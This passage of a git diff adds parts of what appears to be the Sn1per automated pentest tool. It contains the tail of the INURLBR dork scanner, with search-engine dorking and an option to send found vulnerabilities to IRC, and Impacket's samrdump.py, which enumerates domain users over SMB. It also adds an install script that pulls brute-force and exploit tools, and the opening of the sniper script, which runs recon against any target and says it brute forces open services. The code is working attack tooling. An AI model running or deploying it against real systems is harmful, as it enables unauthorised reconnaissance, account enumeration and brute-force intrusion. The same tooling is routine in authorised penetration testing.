"http://www.gigablast.com/search?k3h=223119&s=22&rat=0&sc=1&ns=100&n=100&sites=&q=[DORK]", $dork_, $postDados, 0, 1, 1); + } + +################################################################################ +# SEARCH ENGINE ::: web.search.naver.com +################################################################################ + + if (__validateOptions($_SESSION["config"]["motor"], 13) || __validateOptions($_SESSION["config"]["motor"], "all")) { + + __pageEngine($confArray, "NEVER", "http://web.search.naver.com/search.naver?where=webkr&query=[DORK]&xc=&docid=0&qt=df&lang=all&f=&r=&st=s&fd=2&start=[PAG]", $dork_, $postDados, 1, 500, 10); + } + +################################################################################ +# SEARCH ENGINE ::: br.baidu.com +################################################################################ + + if (__validateOptions($_SESSION["config"]["motor"], 14) || __validateOptions($_SESSION["config"]["motor"], "all")) { + + __pageEngine($confArray, "BAIDU BR", "http://www.baidu.com.br/s?usm=1&rn=100&wd=[DORK]&ie=utf-8&pn=[PAG]&showTop=0", $dork_, $postDados, 0, 1500, 100); + } + +################################################################################ +# SEARCH ENGINE ::: www.yandex.ru +################################################################################ + + if (__validateOptions($_SESSION["config"]["motor"], 15) || __validateOptions($_SESSION["config"]["motor"], "all")) { + + __pageEngine($confArray, "YANDEX", "http://yandex.ru/yandsearch?text=[DORK]&p=[PAG]&lr=10136", $dork_, $postDados, 0, 30, 1); + } + +################################################################################ +# SEARCH ENGINE ::: www.zoo.com +################################################################################ + + if (__validateOptions($_SESSION["config"]["motor"], 16) || __validateOptions($_SESSION["config"]["motor"], "all")) { + + __pageEngine($confArray, "ZOO", "http://www.zoo.com/Zoo-Site/search/web?qsi=[PAG2]&q=[DORK]&p=[PAG]&fcoid=4&fpid=2", $dork_, $postDados, 1, 211, 20, 10); + } + +################################################################################ +# SEARCH ENGINE ::: www.hotbot.com +################################################################################ + + if (__validateOptions($_SESSION["config"]["motor"], 17) || __validateOptions($_SESSION["config"]["motor"], "all")) { + $_ = __request_info("http://www.hotbot.com/", $_SESSION["config"]["proxy"], $postDados); + $_SESSION["config"]["idPesquisaLycos"] = __getIdSearchLycos($_["corpo"]); + __pageEngine($confArray, "HOTBOT", "http://www.hotbot.com/search/web?pn=[PAG]web?q=[DORK]&keyvol={$_SESSION["config"]["idPesquisaLycos"]}", $dork_, $postDados, 0, 24, 1); + } + +################################################################################ +# SEARCH ENGINE ::: www.zhongsou.com +################################################################################ + + if (__validateOptions($_SESSION["config"]["motor"], 18) || __validateOptions($_SESSION["config"]["motor"], "all")) { + + __pageEngine($confArray, "ZHONGSOU", "http://www.zhongsou.com/third?w=[DORK]&b=[PAG]", $dork_, $postDados, 1, 50, 1); + } + +################################################################################ +# SEARCH ENGINE ::: hksearch.timway.com +################################################################################ + if (__validateOptions($_SESSION["config"]["motor"], 19) || __validateOptions($_SESSION["config"]["motor"], "all")) { + + __pageEngine($confArray, "HKSEARCH", "http://hksearch.timway.com/search.php?query=[DORK]®ion=zh-hant-hk&p=[PAG]", $dork_, $postDados, 1, 12, 1); + } + +################################################################################ +# SEARCH ENGINE ::: find.ezilon.com / USA +################################################################################ + + if (__validateOptions($_SESSION["config"]["motor"], 20) || __validateOptions($_SESSION["config"]["motor"], "all")) { + + __pageEngine($confArray, "EZILION USA", "http://find.ezilon.com/search.php?q=[DORK]&start=[PAG]&t=&v=usa&f=", $dork_, $postDados, 0, 215, 15); + } + +################################################################################ +# SEARCH ENGINE ::: find.ezilon.com / ASIA +################################################################################ + + if (__validateOptions($_SESSION["config"]["motor"], 20) || __validateOptions($_SESSION["config"]["motor"], "all")) { + + __pageEngine($confArray, "EZILION ASIA", "http://find.ezilon.com/search.php?q=[DORK]&start=[PAG]&t=&v=asia&f=", $dork_, $postDados, 0, 215, 15); + } + +################################################################################ +# SEARCH ENGINE ::: find.ezilon.com / EUROPA +################################################################################ + + if (__validateOptions($_SESSION["config"]["motor"], 20) || __validateOptions($_SESSION["config"]["motor"], "all")) { + + __pageEngine($confArray, "EZILION EUROPA", "http://find.ezilon.com/search.php?q=[DORK]&start=[PAG]&t=&v=eu&f=", $dork_, $postDados, 0, 215, 15); + } + +################################################################################ +# SEARCH ENGINE ::: find.ezilon.com / INDIA +################################################################################ + if (__validateOptions($_SESSION["config"]["motor"], 20) || __validateOptions($_SESSION["config"]["motor"], "all")) { + + __pageEngine($confArray, "EZILION INDIA", "http://find.ezilon.com/search.php?q=[DORK]&start=[PAG]&t=&v=in&f=", $dork_, $postDados, 0, 215, 15); + } + +################################################################################ +# SEARCH ENGINE ::: www.sogou.com +################################################################################ + + if (__validateOptions($_SESSION["config"]["motor"], 21) || __validateOptions($_SESSION["config"]["motor"], "all")) { + + __pageEngine($confArray, "SOGOU", "http://www.sogou.com/web?query=[DORK]&page=[pag]&ie=utf8", $dork_, $postDados, 1, 20, 1); + } + +################################################################################ +# SEARCH ENGINE ::: api.duckduckgo.com +################################################################################ + + if (__validateOptions($_SESSION["config"]["motor"], 22) || __validateOptions($_SESSION["config"]["motor"], "all")) { + + $postDados = TRUE; + __pageEngine($confArray, "DUCK DUCK GO", "https://api.duckduckgo.com/html/?q=[DORK]&kl=en-us&p=-1&s=[PAG]&dc=[PAG3]&o=json&api=d.js", $dork_, $postDados, 0, 800, 50, 0, 37); + } + +################################################################################ +# SEARCH ENGINE ::: boorow +################################################################################ + + if (__validateOptions($_SESSION["config"]["motor"], 23) || __validateOptions($_SESSION["config"]["motor"], "all")) { + + $postDados = TRUE; + __pageEngine($confArray, "BOOROW", "http://boorow.com/Pages/site_br_aspx?query=[DORK]", $dork_, $postDados, 0, 0, 1); + } + +################################################################################ +# SEARCH ENGINE ::: Google Generic RANDOM +################################################################################ + + if (__validateOptions($_SESSION["config"]["motor"], 24) || __validateOptions($_SESSION["config"]["motor"], 1) || __validateOptions($_SESSION["config"]["motor"], "all")) { + + $randHost = __dominioGoogleRandom(); + $randGeneric = __googleGenericRandom(); + __pageEngine($confArray, "GOOGLE_GENERIC_RANDOM - {$randHost} ID: {$randGeneric}", "http://{$randHost}/cse?cx={$randGeneric}&q=[DORK]&num=500&hl=en&as_qdr=all&start=[PAG]&sa=N", $dork_, $postDados, 0, 5, 1); + } + + +#=============================================================================== +#=============================================================================== +#=============================================================================== +#======================[ MOTORES DE BUSCA ESPECIAIS ]========================== +#=============================================================================== +#=============================================================================== +#=============================================================================== +#=============================================================================== +# SEARCH ENGINE ::: ndj6p3asftxboa7j.tor2web.org / Tor find =================== +#=============================================================================== + + if (__validateOptions($_SESSION["config"]["motor"], "e1")) { + + __pageEngine("TOR FIND", "https://ndj6p3asftxboa7j.tor2web.org/search.php?search_query=[DORK]&page_num=[PAG]&domainchoice=onion", $dork_, $postDados, 1, 5, 1); + } + +#=============================================================================== +# SEARCH ENGINE ::: elephantjmjqepsw.tor2web.org ============================== +#=============================================================================== + + if (__validateOptions($_SESSION["config"]["motor"], "e2")) { + + __pageEngine("ELEPHANT", "https://elephantjmjqepsw.tor2web.orgsearch?q=[DORK]&page=[PAG]", $dork_, $postDados, 0, 29, 1); + } + +#=============================================================================== +# SEARCH ENGINE ::: kbhpodhnfxl3clb4.tor2web.org ============================== +#=============================================================================== + + if (__validateOptions($_SESSION["config"]["motor"], "e3")) { + + __pageEngine("TORSEARCH", "https://kbhpodhnfxl3clb4.tor2web.org/en/search?j=f&page=[PAG]&q=[DORK]&utf8=%E2%9C%93", $dork_, $postDados, 0, 10, 1); + } + +#=============================================================================== +# SEARCH ENGINE ::: search.wikileaks.org ====================================== +#=============================================================================== + + if (__validateOptions($_SESSION["config"]["motor"], "e4")) { + + __pageEngine("WIKILEAKS", "https://search.wikileaks.org/?page=[PAG]&q=[DORK]&sort=0#results", $dork_, $postDados, 1, 60, 1); + } + +#=============================================================================== +# SEARCH ENGINE ::: oth.net ==================================================== +#=============================================================================== + + if (__validateOptions($_SESSION["config"]["motor"], "e5")) { + + __pageEngine("OTN", "http://oth.net/s/s?q=[DORK]&cl=1&skip=[PAG]", $dork_, $postDados, 1, 211, 20); + } + +#=============================================================================== +# SEARCH ENGINE ::: exploits.shodan.io ========================================= +#=============================================================================== + + if (__validateOptions($_SESSION["config"]["motor"], "e6")) { + + __pageEngine("EXPLOITS SHODAN", "https://exploits.shodan.io/?q=[DORK]&p=[PAG]", $dork_, $postDados, 1, 25, 1); + } + + __plus(); +} + +################################################################################ +#INITIAL INFORMATION############################################################ +################################################################################ + +function __startingBanner() { + + echo "\n{$_SESSION["c1"]}[ ! ] Starting SCANNER INURLBR 2.1 at [" . date("d-m-Y H:i:s") . "]{$_SESSION["c9"]} +[ ! ] legal disclaimer: Usage of INURLBR for attacking targets without prior mutual consent is illegal. +It is the end user's responsibility to obey all applicable local, state and federal laws. +Developers assume no liability and are not responsible for any misuse or damage caused by this program{$_SESSION["c0"]}\n"; + + $file = not_isnull_empty($_SESSION['config']['arquivo_output']) ? $_SESSION['config']['arquivo_output'] : NULL; + $file_all = not_isnull_empty($_SESSION['config']['arquivo_output_all']) ? $_SESSION['config']['arquivo_output_all'] : NULL; + $command = not_isnull_empty($_SESSION['config']['command-vul']) ? $_SESSION['config']['command-vul'] : $_SESSION['config']['command-all']; + $subcommand = not_isnull_empty($_SESSION['config']['sub-cmd-vul']) ? $_SESSION['config']['sub-cmd-vul'] : $_SESSION['config']['sub-cmd-all']; + + echo (not_isnull_empty($_SESSION['config']['ifemail']) ? + "\n{$_SESSION["c1"]}[ INFO ]{$_SESSION["c16"]}[ FILTER EMAIL ]::{$_SESSION["c1"]}[ {$_SESSION['config']['ifemail']} ]{$_SESSION["c0"]}" : NULL); + + echo (is_array($_SESSION['config']['dork-file']) ? + "\n{$_SESSION["c1"]}[ INFO ]{$_SESSION["c16"]}[ DORK FILE ]::{$_SESSION["c1"]}[ {$_SESSION['config']['dork-file']} ]{$_SESSION["c0"]}" : NULL); + + echo (not_isnull_empty($_SESSION['config']['dork-rand']) ? + "\n{$_SESSION["c1"]}[ INFO ]{$_SESSION["c16"]}[ DORKS GENERATED ]::{$_SESSION["c1"]}[ {$_SESSION['config']['dork-rand']} ]{$_SESSION["c0"]}" : NULL); + + echo (is_array($_SESSION['config']['irc']['conf']) ? + "\n{$_SESSION["c1"]}[ INFO ]{$_SESSION["c16"]}[ SEND VULN IRC ]::{$_SESSION["c1"]}[ server: {$_SESSION['config']['irc']['conf'][0]} / channel: {$_SESSION['config']['irc']['conf'][1]} ]{$_SESSION["c0"]}" : NULL); + + echo (not_isnull_empty($_SESSION['config']['ifurl']) ? + "\n{$_SESSION["c1"]}[ INFO ]{$_SESSION["c16"]}[ FILTER URL ]::{$_SESSION["c1"]}[ {$_SESSION['config']['ifurl']} ]{$_SESSION["c0"]}" : NULL); + + echo (not_isnull_empty($file) ? + "\n{$_SESSION["c1"]}[ INFO ]{$_SESSION["c16"]}[ OUTPUT FILE ]::{$_SESSION["c1"]} [ " . getcwd() . "/{$_SESSION['config']['out_put_paste']}{$file} ]{$_SESSION["c0"]}" : NULL); + + echo (not_isnull_empty($file_all) ? + "\n{$_SESSION["c1"]}[ INFO ]{$_SESSION["c16"]}[ OUTPUT FILE ALL ]::{$_SESSION["c1"]}[ " . getcwd() . "/{$_SESSION['config']['out_put_paste']}{$file_all} ]{$_SESSION["c0"]}" : NULL); + + echo (not_isnull_empty($command) ? + "\n{$_SESSION["c1"]}[ INFO ]{$_SESSION["c16"]}[ DEFINED EXTERNAL COMMAND ]::{$_SESSION["c1"]} [ $command ]{$_SESSION["c0"]}" : NULL); + + echo (not_isnull_empty($subcommand) ? + "\n{$_SESSION["c1"]}[ INFO ]{$_SESSION["c16"]}[ DEFINED EXTERNAL SUB_COMMAND ]::{$_SESSION["c1"]} [ $subcommand ]{$_SESSION["c0"]}" : NULL); + + echo (not_isnull_empty($_SESSION['config']['proxy-file']) ? + "\n{$_SESSION["c1"]}[ INFO ]{$_SESSION["c16"]}[ FILE SOURCE LIST OF PROXY ]::{$_SESSION["c1"]} [ {$_SESSION['config']['proxy-file']} ]{$_SESSION["c0"]}" : NULL); +} + +################################################################################ +#RUN WITH SEARCH ENGINES######################################################## +################################################################################ +# (PHP 4 >= 4.0.1, PHP 5) create_function — Create an anonymous (lambda-style) +# function http://php.net/manual/en/function.create-function.php + +function __main($dork, $motor, $cod) { + + $dork_[0] = (strstr($dork, '[DORK]') ? explode('[DORK]', $dork) : array($dork)); + $dork_[1] = (not_isnull_empty($_SESSION['config']['dork-file']) ? __openFile($_SESSION['config']['dork-file'], 1) : $dork_[0]); + $dork_[2] = (not_isnull_empty($_SESSION['config']['dork-rand']) ? __randomDork($_SESSION['config']['dork-rand']) : array()); + $dork_[3] = array_filter(array_unique(array_merge($dork_[0], $dork_[1], $dork_[2]))); + + $file_proxy = (not_isnull_empty($_SESSION['config']['proxy-file']) ? __openFile($_SESSION['config']['proxy-file'], 1) : NULL); + $list_proxy = (is_array($file_proxy) ? ($file_proxy) : NULL); + + print __bannerLogo(); + + __startingBanner(); + + for ($i = 0; $i <= count($dork_[3]); $i++) { + + if (!empty($dork_[3][$i])) { + + echo "\n{$_SESSION["c1"]}[ INFO ]{$_SESSION["c0"]}{$_SESSION["c16"]}[ DORK ]::{$_SESSION["c1"]}[ {$dork_[3][$i]} ]\n"; + + //$objNewSearch = create_function('$dork_, $motor, $list_proxy', $cod); + //$objNewSearch(urlencode($dork_[3][$i]), $motor, $list_proxy); + + __engines(urlencode($dork_[3][$i]), $list_proxy) . __plus(); + + ($_SESSION["config"]["pr"]) ? __process(explode("\n", $_SESSION["config"]["totas_urls"])) . __plus() : NULL; + ($_SESSION["config"]["pr"]) ? $_SESSION["config"]["totas_urls"] = NULL : NULL; + + echo "\n"; + } + } + + (!$_SESSION["config"]["pr"]) ? __process(explode("\n", $_SESSION["config"]["totas_urls"])) . __plus() : NULL; + + __exitProcess(); +} + +################################################################################ +#RUN VALIDATION / PROCESSES SCAN RANG IP######################################## +################################################################################ + +if (not_isnull_empty($_SESSION['config']['range']) || not_isnull_empty($_SESSION['config']['range-rand'])) { + + print __bannerLogo(); + __startingBanner(); + not_isnull_empty($_SESSION['config']['range']) ? __process(__generatorRangeIP($_SESSION['config']['range'])) : NULL; + not_isnull_empty($_SESSION['config']['range-rand']) ? __process(__generatorIPRandom(array(1 => $_SESSION['config']['range-rand']))) : NULL; + __exitProcess(); +} + + +################################################################################ +#RUN VALIDATION / PROCESSES WITH FILE########################################### +################################################################################ + +if (not_isnull_empty($_SESSION['config']['abrir-arquivo'])) { + + print __bannerLogo(); + __startingBanner(); + __openFile($_SESSION['config']['abrir-arquivo']); + __plus(); + __exitProcess(); +} + +################################################################################ +#RUN WITH SEARCH ENGINES######################################################## +################################################################################ + +__main($_SESSION['config']['dork'], $_SESSION['config']['motor'], $_SESSION['config']['cod']); + +function __extra() { + + $banners = array( + "{$_SESSION["c1"]} +_ _ _ _ _ ____ _ ___ ____ +| |\ | | | |__/ | |__] |__/ +| | \| |__| | \ |___ |__] | \ +", "{$_SESSION["c1"]} + ( ) ( ( ( + )\ ) ( /( )\ ) )\ ) ( )\ ) +(()/( )\()) ( (()/((()/( ( )\ (()/( + /(_))((_)\ )\ /(_))/(_)))((_) /(_)) +(_)) _((_) _ ((_)(_)) (_)) ((_)_ (_)) +|_ _| | \| || | | || _ \| | | _ )| _ \ + | | | .` || |_| || /| |__ | _ \| / +|___| |_|\_| \___/ |_|_\|____||___/|_|_\ + ", "{$_SESSION["c1"]} +.-..-. .-..-. .-..----. .-. .----. .----. +| || `| || { } || {} }| | | {} }| {} } +| || |\ || {_} || .-. \| `--.| {} }| .-. \ +`-'`-' `-'`-----'`-' `-'`----'`----' `-' `-' + ", "{$_SESSION["c1"]} + ___ _ _ _ _ ____ _ ____ ____ +|_ _| \ | | | | | _ \| | | __ )| _ \ + | || \| | | | | |_) | | | _ \| |_) | + | || |\ | |_| | _ <| |___| |_) | _ < +|___|_| \_|\___/|_| \_\_____|____/|_| \_\ +", "{$_SESSION["c1"]} + /~\ + |oo ) /INURLBR + _\=/_ + ___ # / _ \ # + /() \ \\//|/.\|\\// + _|_____|_ \/ \_/ \/ + | | === | | |\ /| + |_| O |_| \_ _/ + || O || | | | + ||__*__|| | | | + |~ \___/ ~| []|[] + /=\ /=\ /=\ | | | +________________[_]_[_]_[_]________/_]_[_\_________________________ +", "{$_SESSION["c1"]} + ______ __ __ __ __ ____ __ ____ ____ +/\__ _\ /\ \/\ \/\ \/\ \/\ _`\ /\ \ /\ _`\ /\ _`\ +\/_/\ \/ \ \ `\\ \ \ \ \ \ \ \L\ \ \ \ \ \ \L\ \\ \ \L\ \ + \ \ \ \ \ , ` \ \ \ \ \ \ , /\ \ \ __\ \ _ <'\ \ , / + \_\ \__\ \ \`\ \ \ \_\ \ \ \\ \\ \ \L\ \\ \ \L\ \\ \ \\ \ + /\_____\\ \_\ \_\ \_____\ \_\ \_\ \____/ \ \____/ \ \_\ \_\ + \/_____/ \/_/\/_/\/_____/\/_/\/ /\/___/ \/___/ \/_/\/ / +", "{$_SESSION["c1"]} + _____ ______ _ _ ______ _ ______ ______ +(_____) ___ \| | | (_____ \| | (____ (_____ \ + _ | | | | | | |_____) ) | ____) )____) ) + | | | | | | | | (_____ (| | | __ (_____ ( + _| |_| | | | |___| | | | |_____| |__) ) | | +(_____)_| |_|\______| |_|_______)______/ |_| +", "{$_SESSION["c1"]} + ______ + .-. .-. + / \ + | [ INURLBR ] | + |, .-. .-. ,| + | )(|_/ \|_)( | + |/ /\ \| + _ (_ ^^ _) + _\ ____) \_______\__|IIIIII|__/_______________________________ + (_)[___]{}<________|-\IIIIII/-|__INURL__INURL__INURL___________\ + / )_/ \ / + \ ______ / +", "{$_SESSION["c1"]} + +88 88b 88 88 88 88**Yb 88 88**Yb 88**Yb +88 88Yb88 88 88 88__dP 88 88__dP 88__dP +88 88 Y88 Y8 8P 88*Yb 88 .o 88**Yb 88*Yb +88 88 Y8 `YbodP' 88 Yb 88ood8 88oodP 88 Yb +", "{$_SESSION["c1"]} + + # + ## ### + ### ### ## ### ## ####### ### ####### ####### + ### #### ## ### ## ## ### ## ## + ### ####### ### ## ###### ### ###### ###### + ### ### ### ### ## ## ## ### ### ## ## ## + ### ### ## ##### ## ## ####### ###### ## ## + # +", "{$_SESSION["c1"]} + + __ __ __ __ _______ __ __ __ __ __ _______ __ +| | | | | | | | | ____|| | | | | | | | | | | ____|| | +| |__| | | | | | | |__ | | | |__| | | | | | | |__ | | +| __ | | | | | | __| | | | __ | | | | | | __| | | +| | | | | `--' | | |____ |__| | | | | | `--' | | |____ |__| +|__| |__| \______/ |_______|(__) |__| |__| \______/ |_______|(__) +", "{$_SESSION["c1"]} + _ _ +| |__ _ __ | |__ _ __ +| '_ \| '__| | '_ \| '__| +| |_) | | | |_) | | +|_.__/|_| |_.__/|_| +", "{$_SESSION["c1"]} + ___ .__ __. .___________. __ _______ ___ + / \ | \ | | | || | | ____| / \ + / ^ \ | \| | `---| |----`| | | |__ / ^ \ + / /_\ \ | . ` | | | | | | __| / /_\ \ + / _____ \ | |\ | | | | | | | / _____ \ +/__/ \__\ |__| \__| |__| |__| |__| /__/ \__\ +", "{$_SESSION["c1"]} + _____ _ _ +/ ___| | | (_) +\ `--. _ _| |____ _____ _ __ ___ ___ _____ + `--. \ | | | '_ \ \ / / _ \ '__/ __| \ \ / / _ \ +/\__/ / |_| | |_) \ V / __/ | \__ \ |\ V / __/ +\____/ \__,_|_.__/ \_/ \___|_| |___/_| \_/ \___| + +", "{$_SESSION["c1"]} + __ __ _ _ _ ____ _ _ _ _ + \ \ / /_ _ _ __ __| | __ _| (_)___ _ __ ___ ___ | _ \(_) __ _(_) |_ __ _| | + \ \ / / _` | '_ \ / _` |/ _` | | / __| '_ ` _ \ / _ \ | | | | |/ _` | | __/ _` | | + \ V / (_| | | | | (_| | (_| | | \__ \ | | | | | (_) | | |_| | | (_| | | || (_| | | + \_/ \__,_|_| |_|\__,_|\__,_|_|_|___/_| |_| |_|\___/ |____/|_|\__, |_|\__\__,_|_| + |___/ +"); + return ($banners[rand(0, count($banners) - 1)]); +} diff --git a/bin/samrdump.py b/bin/samrdump.py new file mode 100644 index 0000000..bb78d2b --- /dev/null +++ b/bin/samrdump.py @@ -0,0 +1,201 @@ +#!/usr/bin/python +# Copyright (c) 2003-2015 CORE Security Technologies +# +# This software is provided under under a slightly modified version +# of the Apache Software License. See the accompanying LICENSE file +# for more information. +# +# Description: DCE/RPC SAMR dumper. +# +# Author: +# Javier Kohen +# Alberto Solino (@agsolino) +# +# Reference for: +# DCE/RPC for SAMR + +import sys +import logging +import argparse + +from impacket.examples import logger +from impacket import version +from impacket.nt_errors import STATUS_MORE_ENTRIES +from impacket.dcerpc.v5 import transport, samr +from impacket.dcerpc.v5.rpcrt import DCERPCException + + +class ListUsersException(Exception): + pass + +class SAMRDump: + KNOWN_PROTOCOLS = { + '139/SMB': (r'ncacn_np:%s[\pipe\samr]', 139), + '445/SMB': (r'ncacn_np:%s[\pipe\samr]', 445), + } + + + def __init__(self, protocols = None, + username = '', password = '', domain = '', hashes = None, aesKey=None, doKerberos = False): + if not protocols: + self.__protocols = SAMRDump.KNOWN_PROTOCOLS.keys() + else: + self.__protocols = [protocols] + + self.__username = username + self.__password = password + self.__domain = domain + self.__lmhash = '' + self.__nthash = '' + self.__aesKey = aesKey + self.__doKerberos = doKerberos + if hashes is not None: + self.__lmhash, self.__nthash = hashes.split(':') + + + def dump(self, addr): + """Dumps the list of users and shares registered present at + addr. Addr is a valid host name or IP address. + """ + + logging.info('Retrieving endpoint list from %s' % addr) + + # Try all requested protocols until one works. + entries = [] + for protocol in self.__protocols: + protodef = SAMRDump.KNOWN_PROTOCOLS[protocol] + port = protodef[1] + + logging.info("Trying protocol %s..." % protocol) + rpctransport = transport.SMBTransport(addr, port, r'\samr', self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, self.__aesKey, doKerberos = self.__doKerberos) + + try: + entries = self.__fetchList(rpctransport) + except Exception, e: + logging.critical(str(e)) + else: + # Got a response. No need for further iterations. + break + + # Display results. + + for entry in entries: + (username, uid, user) = entry + base = "%s (%d)" % (username, uid) + print base + '/FullName:', user['FullName'] + print base + '/UserComment:', user['UserComment'] + print base + '/PrimaryGroupId:', user['PrimaryGroupId'] + print base + '/BadPasswordCount:', user['BadPasswordCount'] + print base + '/LogonCount:', user['LogonCount'] + + if entries: + num = len(entries) + if 1 == num: + logging.info('Received one entry.') + else: + logging.info('Received %d entries.' % num) + else: + logging.info('No entries received.') + + + def __fetchList(self, rpctransport): + dce = rpctransport.get_dce_rpc() + + entries = [] + + dce.connect() + dce.bind(samr.MSRPC_UUID_SAMR) + + try: + resp = samr.hSamrConnect(dce) + serverHandle = resp['ServerHandle'] + + resp = samr.hSamrEnumerateDomainsInSamServer(dce, serverHandle) + domains = resp['Buffer']['Buffer'] + + print 'Found domain(s):' + for domain in domains: + print " . %s" % domain['Name'] + + logging.info("Looking up users in domain %s" % domains[0]['Name']) + + resp = samr.hSamrLookupDomainInSamServer(dce, serverHandle,domains[0]['Name'] ) + + resp = samr.hSamrOpenDomain(dce, serverHandle = serverHandle, domainId = resp['DomainId']) + domainHandle = resp['DomainHandle'] + + status = STATUS_MORE_ENTRIES + enumerationContext = 0 + while status == STATUS_MORE_ENTRIES: + try: + resp = samr.hSamrEnumerateUsersInDomain(dce, domainHandle, enumerationContext = enumerationContext) + except DCERPCException, e: + if str(e).find('STATUS_MORE_ENTRIES') < 0: + raise + resp = e.get_packet() + + for user in resp['Buffer']['Buffer']: + r = samr.hSamrOpenUser(dce, domainHandle, samr.MAXIMUM_ALLOWED, user['RelativeId']) + print "Found user: %s, uid = %d" % (user['Name'], user['RelativeId'] ) + info = samr.hSamrQueryInformationUser2(dce, r['UserHandle'],samr.USER_INFORMATION_CLASS.UserAllInformation) + entry = (user['Name'], user['RelativeId'], info['Buffer']['All']) + entries.append(entry) + samr.hSamrCloseHandle(dce, r['UserHandle']) + + enumerationContext = resp['EnumerationContext'] + status = resp['ErrorCode'] + + except ListUsersException, e: + logging.critical("Error listing users: %s" % e) + + dce.disconnect() + + return entries + + +# Process command-line arguments. +if __name__ == '__main__': + # Init the example's logger theme + logger.init() + print version.BANNER + + parser = argparse.ArgumentParser(add_help = True, description = "This script downloads the list of users for the target system.") + + parser.add_argument('target', action='store', help='[[domain/]username[:password]@]') + parser.add_argument('protocol', choices=SAMRDump.KNOWN_PROTOCOLS.keys(), nargs='?', default='445/SMB', help='transport protocol (default 445/SMB)') + parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON') + + group = parser.add_argument_group('authentication') + + group.add_argument('-hashes', action="store", metavar = "LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH') + group.add_argument('-no-pass', action="store_true", help='don\'t ask for password (useful for -k)') + group.add_argument('-k', action="store_true", help='Use Kerberos authentication. Grabs credentials from ccache file (KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it will use the ones specified in the command line') + group.add_argument('-aesKey', action="store", metavar = "hex key", help='AES key to use for Kerberos Authentication (128 or 256 bits)') + + if len(sys.argv)==1: + parser.print_help() + sys.exit(1) + + options = parser.parse_args() + + if options.debug is True: + logging.getLogger().setLevel(logging.DEBUG) + else: + logging.getLogger().setLevel(logging.INFO) + + import re + + domain, username, password, address = re.compile('(?:(?:([^/@:]*)/)?([^@:]*)(?::([^@]*))?@)?(.*)').match(options.target).groups('') + + if domain is None: + domain = '' + + if options.aesKey is not None: + options.k = True + + if password == '' and username != '' and options.hashes is None and options.no_pass is False and options.aesKey is None: + from getpass import getpass + password = getpass("Password:") + + dumper = SAMRDump(options.protocol, username, password, domain, options.hashes, options.aesKey, options.k) + dumper.dump(address) diff --git a/install.sh b/install.sh new file mode 100644 index 0000000..885526e --- /dev/null +++ b/install.sh @@ -0,0 +1,14 @@ +#!/bin/bash +# Install script for sn1per +# +echo "Installing sn1per dependencies..." +apt-get install host whois theharvester dnsenum curl nmap php5 php5-curl wapiti hydra iceweasel wpscan sqlmap arachni w3af golismero nbtscan enum4linux cisco-torch metasploit-framework theharvester nmap dnsenum snmpwalk nikto smtp-user-enum whatweb python nbtscan sslscan amap +git clone https://github.com/1N3/Findsploit.git +git clone https://github.com/1N3/BruteX.git +git clone https://github.com/1N3/Goohak.git +git clone https://github.com/1N3/XSSTracer.git +git clone https://github.com/1N3/SuperMicro-Password-Scanner +git clone https://github.com/Dionach/CMSmap.git +mkdir loot +echo "Be sure to install the following packages manually and update the sniper script references: dig dnsdict6 cmsmap samrdump inurlbr wafw00f showmount samrdump rpcinfo" +echo "Done!" diff --git a/loot/README b/loot/README new file mode 100644 index 0000000..e69de29 diff --git a/sniper b/sniper new file mode 100644 index 0000000..e97ffee --- /dev/null +++ b/sniper @@ -0,0 +1,518 @@ +#!/bin/bash +# + -- --=[Sn1per v1.3 by 1N3 v20150906 +# + -- --=[http://crowdshield.com +# +# Sn1per - Automated Pentest Recon Tool +# +# FEATURED: +# - Automatically collect recon info (ie. whois, ping, DNS, etc.) +# - Automatically collects Google hacking recon info +# - Automatically run port scans +# - Automatically brute force sub-domains via DNS +# - Automatically run targeted nmap scripts against open ports +# - Automatically scans all web applications +# - Automatically brute forces all open services +# +# INSTALL: +# ./install.sh - Installs all dependencies. Best run from Kali Linux. +# +# USAGE: +# ./sn1per +# + +TARGET="$1" +LOOT_DIR="loot" +FINDSPLOIT_DIR="Findsploit" +CMSMAP="CMSmap/cmsmap.py" +SAMRDUMP="bin/samrdump.py" +DNSDICT6="bin/dnsdict6" +INURLBR="bin/inurlbr.php" +USER_FILE="BruteX/simple-users.txt" +PASS_FILE="BruteX/password.lst" +DNS_FILE="BruteX/namelist.txt" +SUPER_MICRO_SCAN="SuperMicro-Password-Scanner/supermicro_scan.sh" +THREADS="30" +OKBLUE='\033[94m' +OKRED='\033[91m' +OKGREEN='\033[92m' +OKORANGE='\033[93m' +RESET='\e[0m' + +if [ -z $TARGET ]; then + echo -e "$OKRED ____ $RESET" + echo -e "$OKRED _________ / _/___ ___ _____$RESET" + echo -e "$OKRED / ___/ __ \ / // __ \/ _ \/ ___/$RESET" + echo -e "$OKRED (__ ) / / // // /_/ / __/ / $RESET" + echo -e "$OKRED /____/_/ /_/___/ .___/\___/_/ $RESET" + echo -e "$OKRED /_/ $RESET" + echo -e "$RESET" + echo -e "$OKORANGE + -- --=[http://crowdshield.com" + echo -e "$OKORANGE + -- --=[sn1per v1.3 by 1N3" + echo -e "$OKORANGE + -- --=[Usage: sn1per " + exit +fi + +clear + +echo -e "$OKRED ____ $RESET" +echo -e "$OKRED _________ / _/___ ___ _____$RESET" +echo -e "$OKRED / ___/ __ \ / // __ \/ _ \/ ___/$RESET" +echo -e "$OKRED (__ ) / / // // /_/ / __/ / $RESET" +echo -e "$OKRED /____/_/ /_/___/ .___/\___/_/ $RESET" +echo -e "$OKRED /_/ $RESET" +echo -e "$RESET" +echo -e "$OKORANGE + -- --=[http://crowdshield.com" +echo -e "$OKORANGE + -- --=[sn1per v1.3 by 1N3" +echo -e "$RESET" + +echo -e "$OKGREEN################################### Running recon #################################$RESET" +nslookup $TARGET +host $TARGET +dig -x $TARGET +whois $TARGET +theharvester -d $TARGET -b google +theharvester -d $TARGET -b bing +theharvester -d $TARGET -b linkedin +theharvester -d $TARGET -b people123 +dnsenum $TARGET +dnsdict6 $TARGET $DNS_FILE -4 | awk '{print $1}' | sort -u | sed -r 's/.com./.com/g' > $LOOT_DIR/domains-$TARGET.txt +cat $LOOT_DIR/domains-$TARGET.txt +echo "" +echo -e "$OKBLUE+ -- --=[Checking for SPF records on $TARGET...$RESET $OKORANGE" +curl -s -X POST http://www.kitterman.com/getspf2.py --data 'serial=fred12&domain=$TARGET' | egrep spf1 --color +echo "" +echo -e "$OKGREEN################################### Pinging host ###################################$RESET" +ping -c 1 